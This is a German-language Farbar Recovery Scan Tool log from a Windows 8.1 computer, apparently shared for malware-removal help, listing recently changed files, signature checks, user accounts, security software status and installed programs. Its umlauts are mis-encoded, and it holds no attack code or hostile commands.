2017-05-11 14:18 - 2017-04-16 10:18 - 05977600 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-05-11 14:18 - 2017-04-16 10:16 - 00862720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2017-05-11 14:18 - 2017-04-16 10:10 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx
2017-05-11 14:18 - 2017-04-16 10:03 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-05-11 14:18 - 2017-04-16 10:02 - 00145408 _____ (Microsoft Corporation) C:\Windows\system32\iepeers.dll
2017-05-11 14:18 - 2017-04-16 10:01 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-05-11 14:18 - 2017-04-16 10:00 - 00315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-05-11 14:18 - 2017-04-16 10:00 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-05-11 14:18 - 2017-04-16 09:53 - 02290176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-05-11 14:18 - 2017-04-16 09:52 - 01033216 _____ (Microsoft Corporation) C:\Windows\system32\inetcomm.dll
2017-05-11 14:18 - 2017-04-16 09:49 - 20278272 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2017-05-11 14:18 - 2017-04-16 09:47 - 00663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-05-11 14:18 - 2017-04-16 09:43 - 00262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-05-11 14:18 - 2017-04-16 09:40 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-05-11 14:18 - 2017-04-16 09:40 - 00725504 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-05-11 14:18 - 2017-04-16 09:40 - 00378880 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-05-11 14:18 - 2017-04-16 09:37 - 02132992 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-05-11 14:18 - 2017-04-16 09:29 - 00073216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx
2017-05-11 14:18 - 2017-04-16 09:24 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-05-11 14:18 - 2017-04-16 09:23 - 00128000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iepeers.dll
2017-05-11 14:18 - 2017-04-16 09:22 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\rpcss.dll
2017-05-11 14:18 - 2017-04-16 09:22 - 00279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-05-11 14:18 - 2017-04-16 09:17 - 00880640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcomm.dll
2017-05-11 14:18 - 2017-04-16 09:12 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 15250944 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 00693248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 00330752 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-05-11 14:18 - 2017-04-16 09:08 - 04548608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-05-11 14:18 - 2017-04-16 09:08 - 02057216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-05-11 14:18 - 2017-04-16 09:04 - 03241472 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-05-11 14:18 - 2017-04-16 09:02 - 00267776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wincorlib.dll
2017-05-11 14:18 - 2017-04-16 08:53 - 13661184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-05-11 14:18 - 2017-04-16 08:50 - 01544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-05-11 14:18 - 2017-04-16 08:40 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-05-11 14:18 - 2017-04-16 08:37 - 02767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-05-11 14:18 - 2017-04-16 08:34 - 01314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-05-11 14:18 - 2017-04-16 08:34 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-05-11 14:18 - 2017-04-10 00:00 - 01548640 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgkrnl.sys
2017-05-11 14:18 - 2017-04-10 00:00 - 00388448 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgmms1.sys
2017-05-11 14:18 - 2017-04-08 01:20 - 01375960 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-05-11 14:18 - 2017-04-07 15:56 - 01094656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-05-11 14:18 - 2017-04-02 18:41 - 00684544 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srv2.sys
2017-05-11 14:18 - 2017-04-02 18:41 - 00414720 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srv.sys
2017-05-11 14:18 - 2017-04-01 01:16 - 01968408 _____ (Microsoft Corporation) C:\Windows\system32\crypt32.dll
2017-05-11 14:18 - 2017-03-31 23:59 - 01612504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\crypt32.dll
2017-05-10 16:11 - 2017-05-10 16:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\My Games
2017-05-07 15:12 - 2017-05-25 16:04 - 00000000 ____D C:\ProgramData\Orbit
2017-05-07 15:12 - 2017-05-07 15:12 - 00281688 _____ C:\Windows\SysWOW64\PnkBstrB.xtr
2017-05-07 15:12 - 2017-05-07 15:12 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\PunkBuster
2017-05-07 15:06 - 2017-05-25 16:04 - 00000000 ____D C:\Users\Nick Schuster\Documents\My Games
2017-05-07 14:58 - 2017-05-11 23:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Ubisoft Game Launcher
2017-05-07 14:51 - 2017-06-05 15:36 - 00000000 ____D C:\Windows\System32\Tasks\Games
2017-05-07 14:41 - 2017-05-07 14:41 - 00282512 _____ C:\Windows\SysWOW64\PnkBstrB.ex0
2017-05-07 14:41 - 2017-05-07 14:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Ubisoft
2017-05-07 14:38 - 2017-05-07 14:38 - 00394296 _____ (Duplex Secure Ltd.) C:\Windows\system32\Drivers\sptd.sys
2017-05-07 14:03 - 2017-05-07 14:03 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Disc_Soft_Ltd
2017-05-07 13:50 - 2017-05-07 13:50 - 00000000 ____D C:\Users\Public\Documents\Daemon Tools Images
2017-05-07 13:14 - 2017-05-07 13:53 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\DAEMON Tools Lite
2017-05-07 13:14 - 2017-05-07 13:14 - 00047672 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtliteusbbus.sys
2017-05-07 13:14 - 2017-05-07 13:14 - 00030264 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtlitescsibus.sys
2017-05-07 13:13 - 2017-05-07 13:13 - 00000000 ____D C:\ProgramData\DAEMON Tools Lite

==================== Ein Monat: Ge鋘derte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-05 16:59 - 2016-07-31 16:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CrashDumps
2017-06-05 16:59 - 2015-12-26 17:46 - 00000000 __RDO C:\Users\Nick Schuster\OneDrive
2017-06-05 16:58 - 2015-12-26 22:26 - 00000180 _____ C:\Windows\system32\{A6D608F0-0BDE-491A-97AE-5C4B05D86E01}.bat
2017-06-05 16:58 - 2015-12-26 17:53 - 00000000 __SHD C:\Users\Nick Schuster\IntelGraphicsProfiles
2017-06-05 16:58 - 2013-08-22 16:45 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2017-06-05 15:59 - 2015-12-26 16:48 - 00003596 _____ C:\Windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-3847841184-804715454-2304624315-1001
2017-06-05 15:57 - 2016-07-31 18:48 - 00000000 ____D C:\ProgramData\Malwarebytes
2017-06-05 15:50 - 2017-04-17 12:52 - 00000000 ____D C:\Windows\Update
2017-06-05 15:50 - 2017-03-28 19:39 - 00000000 ____D C:\Windows\system32\log
2017-06-05 15:44 - 2017-02-20 22:17 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Mozilla
2017-06-05 15:42 - 2016-09-14 15:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Adobe
2017-06-05 15:41 - 2016-07-31 14:30 - 00000008 __RSH C:\Users\Nick Schuster\ntuser.pol
2017-06-05 15:41 - 2015-12-26 16:37 - 00000000 ____D C:\Users\Nick Schuster
2017-06-05 15:36 - 2016-11-18 14:18 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VirtualDJ
2017-06-05 15:36 - 2016-01-21 14:13 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Temp
2017-06-05 14:38 - 2016-01-11 18:42 - 07433728 ___SH C:\Users\Nick Schuster\Desktop\Thumbs.db
2017-06-05 12:04 - 2014-11-21 05:35 - 01776918 _____ C:\Windows\system32\PerfStringBackup.INI
2017-06-05 12:04 - 2014-11-21 04:45 - 00765582 _____ C:\Windows\system32\perfh007.dat
2017-06-05 12:04 - 2014-11-21 04:45 - 00159366 _____ C:\Windows\system32\perfc007.dat
2017-06-05 12:04 - 2013-08-22 15:36 - 00000000 ____D C:\Windows\Inf
2017-06-04 10:17 - 2016-09-17 17:52 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\vlc
2017-06-02 16:14 - 2016-06-01 16:03 - 01862144 ___SH C:\Users\Nick Schuster\Downloads\Thumbs.db
2017-06-01 23:52 - 2013-08-22 15:25 - 00262144 ___SH C:\Windows\system32\config\BBI
2017-06-01 19:26 - 2015-12-29 20:54 - 00000000 ____D C:\Windows\pss
2017-06-01 12:01 - 2016-07-05 17:55 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Adblock Plus for IE
2017-05-31 17:34 - 2017-02-12 14:31 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Bluestacks
2017-05-31 17:34 - 2013-08-22 17:36 - 00000000 __RHD C:\Users\Public\Libraries
2017-05-31 17:31 - 2016-06-14 20:57 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Sony
2017-05-31 16:11 - 2017-03-16 13:19 - 00001312 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-05-31 13:52 - 2016-09-17 17:56 - 00000000 ____D C:\ProgramData\Apple
2017-05-31 10:46 - 2017-03-17 14:02 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-05-30 19:32 - 2016-10-08 16:17 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Deployment
2017-05-30 14:12 - 2016-12-27 21:45 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dropbox
2017-05-30 14:11 - 2015-12-27 21:26 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Google
2017-05-30 14:05 - 2017-02-03 12:28 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Samsung
2017-05-30 14:05 - 2017-02-03 12:27 - 00000000 ____D C:\Program Files (x86)\Samsung
2017-05-30 14:05 - 2016-10-23 18:05 - 00000000 ____D C:\ProgramData\Samsung
2017-05-29 23:08 - 2017-02-13 16:13 - 00000000 ____D C:\Program Files (x86)\Minecraft
2017-05-29 23:08 - 2016-12-10 12:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\.minecraft
2017-05-29 21:59 - 2016-10-12 16:07 - 00000000 ____D C:\Program Files\Image-Line
2017-05-26 18:19 - 2016-11-18 17:58 - 00000000 ____D C:\Program Files (x86)\Steam
2017-05-26 10:55 - 2016-01-04 18:15 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Steam
2017-05-25 15:49 - 2017-02-14 16:53 - 00000000 ____D C:\ProgramData\SUPPORTDIR
2017-05-25 15:49 - 2017-02-14 16:53 - 00000000 ____D C:\ProgramData\install_backup
2017-05-25 15:49 - 2017-02-03 12:27 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2017-05-25 15:49 - 2016-10-13 22:01 - 00000000 ____D C:\ProgramData\TEMP
2017-05-24 11:40 - 2017-02-27 11:37 - 00000000 ____D C:\ProgramData\CanonIJPLM
2017-05-23 15:40 - 2013-08-22 17:20 - 00000000 ____D C:\Windows\CbsTemp
2017-05-23 15:34 - 2015-12-28 20:55 - 132223576 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-05-23 15:34 - 2015-12-28 20:55 - 00000000 ____D C:\Windows\system32\MRT
2017-05-22 21:46 - 2015-12-27 00:10 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Skype
2017-05-22 21:24 - 2016-09-24 19:16 - 00000000 ____D C:\ProgramData\Package Cache
2017-05-22 21:24 - 2015-12-27 00:10 - 00002715 _____ C:\Users\Public\Desktop\Skype.lnk
2017-05-22 21:24 - 2015-12-27 00:10 - 00000000 ___RD C:\Program Files (x86)\Skype
2017-05-22 21:24 - 2015-12-27 00:10 - 00000000 ____D C:\ProgramData\Skype
2017-05-21 19:04 - 2015-12-26 22:50 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2017-05-21 19:03 - 2017-02-26 13:05 - 00000991 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 12.lnk
2017-05-21 19:03 - 2017-02-26 13:05 - 00000979 _____ C:\Users\Public\Desktop\TeamViewer 12.lnk
2017-05-17 18:44 - 2016-08-20 12:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\TeamViewer
2017-05-17 16:58 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\SysWOW64\Macromed
2017-05-17 16:41 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\system32\FxsTmp
2017-05-16 15:15 - 2017-03-07 15:40 - 00000000 ____D C:\Users\Nick Schuster\.gimp-2.8
2017-05-14 22:50 - 2017-03-16 23:29 - 00000000 ____D C:\Users\Nick Schuster\Desktop\fl studio songs
2017-05-14 16:21 - 2016-07-31 16:03 - 05282048 _____ C:\Windows\system32\FNTCACHE.DAT
2017-05-14 16:16 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\PolicyDefinitions
2017-05-13 00:45 - 2017-02-12 16:33 - 00000000 ____D C:\Users\Nick Schuster\Desktop\BSHelper
2017-05-09 18:25 - 2016-11-08 22:46 - 00004496 _____ C:\Windows\System32\Tasks\Adobe Flash Player PPAPI Notifier
2017-05-09 18:25 - 2016-10-13 18:22 - 00004342 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-05-09 17:25 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\system32\Macromed
2017-05-07 13:16 - 2016-12-17 15:58 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Chromium

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======

2016-12-12 23:28 - 2016-12-12 23:28 - 0001120 _____ () C:\Users\Nick Schuster\AppData\Roaming\.minecraft - Verkn黳fung.lnk
2010-08-28 22:43 - 2010-08-28 22:43 - 0096256 ____N (Google, inc) C:\Users\Nick Schuster\AppData\Roaming\AdbWinApi.dll
2010-08-28 22:43 - 2010-08-28 22:43 - 0060928 ____N (Google, inc) C:\Users\Nick Schuster\AppData\Roaming\AdbWinUsbApi.dll
2017-03-07 15:59 - 2017-03-07 15:59 - 0003330 _____ () C:\Users\Nick Schuster\AppData\Local\recently-used.xbel
2016-01-07 17:00 - 2016-12-17 21:05 - 0007598 _____ () C:\Users\Nick Schuster\AppData\Local\Resmon.ResmonCfg
2017-02-12 14:36 - 2017-04-22 20:22 - 0000552 _____ () C:\Users\Nick Schuster\AppData\Local\TroubleshooterConfig.json
2016-10-21 22:16 - 2016-10-23 18:04 - 0000158 _____ () C:\Users\Nick Schuster\AppData\Local\uts.ini

==================== Bamital & volsnap ======================

(Es ist kein automatischer Fix f黵 Dateien vorhanden, die an der Verifikation gescheitert sind.)

C:\Windows\system32\winlogon.exe => Datei ist digital signiert
C:\Windows\system32\wininit.exe => Datei ist digital signiert
C:\Windows\explorer.exe => Datei ist digital signiert
C:\Windows\SysWOW64\explorer.exe => Datei ist digital signiert
C:\Windows\system32\svchost.exe => Datei ist digital signiert
C:\Windows\SysWOW64\svchost.exe => Datei ist digital signiert
C:\Windows\system32\services.exe => Datei ist digital signiert
C:\Windows\system32\User32.dll => Datei ist digital signiert
C:\Windows\SysWOW64\User32.dll => Datei ist digital signiert
C:\Windows\system32\userinit.exe => Datei ist digital signiert
C:\Windows\SysWOW64\userinit.exe => Datei ist digital signiert
C:\Windows\system32\rpcss.dll => Datei ist digital signiert
C:\Windows\system32\dnsapi.dll => Datei ist digital signiert
C:\Windows\SysWOW64\dnsapi.dll => Datei ist digital signiert
C:\Windows\system32\Drivers\volsnap.sys => Datei ist digital signiert

LastRegBack: 2017-05-23 15:34

==================== Ende von FRST.txt ============================
--- --- ---

[/CODE]

Code:

Zus鋞zliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 02-06-2017
durchgef黨rt von Nick Schuster (05-06-2017 17:03:17)
Gestartet von C:\Users\Nick Schuster\Desktop\killer.exe
Windows 8.1 (Update) (X64) (2015-12-26 14:37:47)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Administrator (S-1-5-21-3847841184-804715454-2304624315-500 - Administrator - Disabled)
Gast (S-1-5-21-3847841184-804715454-2304624315-501 - Limited - Disabled)
HomeGroupUser$ (S-1-5-21-3847841184-804715454-2304624315-1003 - Limited - Enabled)
Nick Schuster (S-1-5-21-3847841184-804715454-2304624315-1001 - Administrator - Enabled) => C:\Users\Nick Schuster

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: Malwarebytes (Enabled - Up to date) {23007AD3-69FE-687C-2629-D584AFFAF72B}
AS: Malwarebytes (Enabled - Up to date) {98619B37-4FC4-67F2-1C99-EEF6D47DBD96}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" k鰊nen in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

Adobe After Effects CC 2015 (HKLM-x32\...\{147EC100-14BE-45EF-AB42-35BAEE7D02F0}) (Version: 13.6.1 - Adobe Systems Incorporated)
Adobe AIR (HKLM-x32\...\Adobe AIR) (Version: 3.1.0.4880 - Adobe Systems Incorporated)
Adobe Flash Player 25 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 25.0.0.171 - Adobe Systems Incorporated)
Adobe Flash Player 25 PPAPI (HKLM-x32\...\Adobe Flash Player PPAPI) (Version: 25.0.0.171 - Adobe Systems Incorporated)
Adobe Photoshop CS6 Version 13.0.1 (HKLM-x32\...\{A724DC44-6241-42D3-BA57-778B178ABC17}_is1) (Version: 13.0.1 - Adobe Systems, Inc.)
ASIO4ALL (HKLM-x32\...\ASIO4ALL) (Version: 2.12 - Michael Tippach)
Canon Easy-WebPrint EX (HKLM-x32\...\Easy-WebPrint EX) (Version: 1.7.0.0 - Canon Inc.)
Canon IJ Network Scanner Selector EX (HKLM-x32\...\Canon_IJ_Network_Scanner_Selector_EX) (Version: 1.5.4.4 - Canon Inc.)
Canon IJ Network Tool (HKLM-x32\...\Canon_IJ_Network_UTILITY) (Version: 3.7.0 - Canon Inc.)
Canon IJ Scan Utility (HKLM-x32\...\Canon_IJ_Scan_Utility) (Version: 1.1.20.13 - Canon Inc.)
Canon Inkjet Printer/Scanner/Fax Extended Survey Program (HKLM-x32\...\CANONIJPLM100) (Version: 5.2.0 - Canon Inc.)
Canon MG5700 series Benutzerregistrierung (HKLM-x32\...\Canon MG5700 series Benutzerregistrierung) (Version:  - *Canon Inc.)
Canon MG5700 series MP Drivers (HKLM\...\{1199FAD5-9546-44f3-81CF-FFDB8040B7BF}_Canon_MG5700_series) (Version: 1.00 - Canon Inc.)
Canon My Printer (HKLM-x32\...\CanonMyPrinter) (Version: 3.3.0 - Canon Inc.)
Canon Quick Menu (HKLM-x32\...\CanonQuickMenu) (Version: 2.7.1 - Canon Inc.)
D3DX10 (x32 Version: 15.4.2368.0902 - Microsoft) Hidden
Equalizer APO (HKLM\...\EqualizerAPO) (Version: 1.1.2 - )
FL Studio 12 (HKLM-x32\...\FL Studio 12) (Version:  - Image-Line)
FL Studio 12.1.2 (HKLM\...\FL Studio 12.1.2_is1) (Version:  - )
FL Studio ASIO (HKLM\...\FL Studio ASIO) (Version:  - Image-Line)
FL Studio ASIO (HKLM-x32\...\FL Studio ASIO) (Version:  - Image-Line)
Fotogalerie (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
FreeOCR v5.4 (HKLM-x32\...\freeocr_is1) (Version:  - )
GIMP 2.8.20 (HKLM\...\GIMP-2_is1) (Version: 2.8.20 - The GIMP Team)
Google Update Helper (x32 Version: 1.3.33.5 - Google Inc.) Hidden
HandBrake 0.10.5 (HKLM-x32\...\HandBrake) (Version: 0.10.5 - )
Intel(R) C++ Redistributables on Intel(R) 64 (HKLM-x32\...\{F70BCE36-25F2-4475-A918-6209B3D85BF3}) (Version: 15.0.179 - Intel Corporation)
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 20.19.15.4531 - Intel Corporation)
Java 8 Update 121 (64-bit) (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F64180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)
Java 8 Update 121 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F32180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)
Junk Mail filter update (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Malwarebytes Version 3.1.2.1733 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 3.1.2.1733 - Malwarebytes)
MegaDownloader 1.7 (HKLM\...\{C12C2297-65A4-4E64-9AE1-29F0D947FDA0}}_is1) (Version: 1.7 - AppsForMega.info)
Microsoft OneDrive (HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\OneDriveSetup.exe) (Version: 17.3.6799.0327 - Microsoft Corporation)
Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50906.0 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{071c9b48-7c32-4621-a0ac-3f809523288f}) (Version: 8.0.56336 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}) (Version: 8.0.61000 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022.218 (HKLM-x32\...\{E503B4BF-F7BB-3D5F-8BC8-F694B1CFF942}) (Version: 9.0.21022.218 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23918 (HKLM-x32\...\{dab68466-3a7d-41a8-a5cf-415e3ff8ef71}) (Version: 14.0.23918.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)
Minecraft (HKLM-x32\...\{1C16BCA3-EBC1-49F6-8623-8FBFB9CCC872}) (Version: 1.0.3.0 - Mojang)
Movie Maker (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Mozilla Firefox 53.0.3 (x64 de) (HKLM\...\Mozilla Firefox 53.0.3 (x64 de)) (Version: 53.0.3 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 53.0.3 - Mozilla)
OpenOffice 4.1.3 (HKLM-x32\...\{8D5FCC56-BB9F-4122-923C-71753F50F6F5}) (Version: 4.13.9783 - Apache Software Foundation)
Samsung USB Driver for Mobile Phones (HKLM\...\{D0795B21-0CDA-4a92-AB9E-6E92D8111E44}) (Version: 1.5.61.0 - Samsung Electronics Co., Ltd.)
Skype™ 7.33 (HKLM-x32\...\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}) (Version: 7.33.105 - Skype Technologies S.A.)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
swMSM (x32 Version: 12.0.0.1 - Adobe Systems, Inc) Hidden
TeamViewer 12 (HKLM-x32\...\TeamViewer) (Version: 12.0.77242 - TeamViewer)
VirtualDJ 8 (HKLM-x32\...\{2C513174-818D-4D9E-B88F-3E2872BACA20}) (Version: 8.2.3493.0 - Atomix Productions)
VLC media player (HKLM\...\VLC media player) (Version: 2.2.4 - VideoLAN)
Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 16.4.3528.0331 - Microsoft Corporation)
WinRAR 5.40 (32-Bit) (HKLM-x32\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{162C6FB5-44D3-435B-903D-E613FA093FB5}\InprocServer32 -> C:\Users\Nick Schuster\AppData\Local\Microsoft\OneDrive\17.3.6799.0327\amd64\FileCoAuthLib64.dll (Microsoft Corporation)
CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{820D63D5-8CFF-46DE-86AF-4997DEDD6DB5}\localserver32 -> C:\Windows\system32\igfxEM.exe (Intel Corporation)

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============

